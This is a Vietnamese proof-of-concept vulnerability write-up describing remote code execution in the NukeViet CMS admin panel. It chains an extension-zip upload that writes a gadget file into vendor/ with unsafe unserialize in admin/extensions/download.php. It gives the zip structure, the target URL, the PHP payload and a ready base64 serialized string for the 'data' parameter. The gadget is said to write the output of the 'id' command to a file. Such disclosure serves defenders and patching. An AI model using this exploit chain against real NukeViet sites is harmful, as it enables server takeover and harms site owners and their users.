Chuẩn bị gói fruit_poc.zip với cấu trúc:
fruit_poc.zip
├── config.ini
└── vendor/
└── true/
└── punycode/
└── src/
└── Fruit.php
Upload extension:
- Đăng nhập vào admin panel.
- Truy cập:
http://localhost:8080/admin/index.php?language=vi&nv=extensions&op=manage - Upload file
fruit_poc.zip. - NukeViet sẽ tự động giải nén và ghi file
Fruit.phpvào:
vendor/true/punycode/src/Fruit.php
Đoạn code tại admin/extensions/download.php:
Cơ chế:
- PHP cấu hình
unserialize_callback_func = spl_autoload_call - Khi
unserializegặp objectTrueBV\Fruit, autoloader sẽ tự động load file gadget đã upload ở Bước 1.
Payload PHP:
$payload = [
'id' => 1,
'tid' => 1,
'compatible' => ['id' => 1],
0 => new TrueBV\Fruit(),
];Chuỗi base64 gửi trong tham số data:
YTo0OntzOjI6ImlkIjtpOjE7czozOiJ0aWQiO2k6MTtzOjEwOiJjb21wYXRpYmxlIjthOjE6e3M6MjoiaWQiO2k6MTt9aTowO086MTI6IlRydWVCVlxGcnVpdCI6MDp7fX0=
Request exploit (Admin access):
- Gadget ghi kết quả thực thi lệnh
idvào file:
data/tmp/rce_test.txt
Sau khi gửi payload, kiểm tra file kết quả:
Hai lỗ hổng:
- Upload extension cho phép ghi file vào thư mục
vendor/ - Unserialize object từ dữ liệu người dùng trong
extensions/download
Kết hợp lại dẫn tới (RCE)